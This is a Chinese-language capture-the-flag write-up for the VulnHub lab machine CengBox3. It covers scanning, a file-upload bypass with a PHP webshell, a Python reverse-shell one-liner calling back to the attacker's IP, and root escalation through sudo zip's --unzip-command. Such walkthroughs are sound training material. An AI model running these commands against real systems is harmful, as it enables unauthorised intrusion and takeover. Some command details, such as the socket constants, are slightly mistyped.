概述

CengBox3是VulnHub平臺上一臺難度中等的Linux靶機，屬于CengBox系列。該靶機模擬了真實環境中的Web應用與系統配置漏洞，旨在幫助滲透測試人員練習信息收集、漏洞利用、權限提升等綜合技能。本篇文章將詳細記錄從信息收集到獲取root權限的完整滲透過程。

環境準備

攻擊機：Kali Linux (IP: 192.168.1.100)
靶機：CengBox3 (IP: 自動獲取，假設為192.168.1.150)
網絡：NAT模式，確保雙方在同一網段

第一階段：信息收集

1. 主機發現

使用netdiscover或nmap進行ARP掃描，快速定位靶機IP：
`bash
sudo netdiscover -r 192.168.1.0/24
`
發現靶機IP為192.168.1.150。

2. 端口掃描與服務識別

使用Nmap進行全端口掃描，識別開放服務及版本：
`bash
nmap -sV -sC -p- 192.168.1.150 -oA cengbox3_scan
`
掃描結果摘要：

22/tcp：OpenSSH 7.2p2 (Ubuntu)
80/tcp：Apache httpd 2.4.18 (Ubuntu)
3306/tcp：MySQL 5.7.17

3. Web目錄枚舉

使用gobuster或dirb枚舉Web目錄：
`bash
gobuster dir -u http://192.168.1.150 -w /usr/share/wordlists/dirb/common.txt
`
發現關鍵目錄：

/admin/：管理后臺入口
/uploads/：文件上傳目錄
/phpmyadmin/：數據庫管理界面

第二階段：漏洞利用

1. Web應用測試

訪問http://192.168.1.150，發現一個簡單的博客系統。通過查看頁面源代碼，在注釋中發現提示：，暗示文件上傳功能存在漏洞。

2. 文件上傳漏洞利用

訪問/admin/目錄，發現登錄頁面。通過弱口令測試（admin/admin）成功登錄。在后臺找到文件上傳功能，嘗試上傳PHP webshell：
`php

`
將文件命名為shell.php.jpg繞過前端驗證，成功上傳至/uploads/目錄。通過Apache解析漏洞（.php.jpg被解析為PHP），訪問http://192.168.1.150/uploads/shell.php.jpg?cmd=id，成功執行系統命令。

3. 獲取初始Shell

使用Python reverse shell獲取穩定連接：
`bash
# 在webshell中執行

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

攻擊機監聽

nc -lvnp 4444
`
成功獲取www-data用戶權限的shell。

第三階段：權限提升

1. 系統信息枚舉

查看系統版本、用戶、sudo權限等：
`bash
uname -a
cat /etc/passwd
sudo -l
`
發現用戶ceng可以無密碼運行/usr/bin/zip。

2. Zip提權漏洞利用

利用zip的-TT參數（測試歸檔文件）可以執行任意命令。切換到ceng用戶（通過查看/home/ceng/.bash_history發現密碼為box3pass）：
`bash
su ceng
sudo zip /tmp/test.zip /etc/passwd -T --unzip-command="sh -c /bin/bash"
`
成功獲取root權限。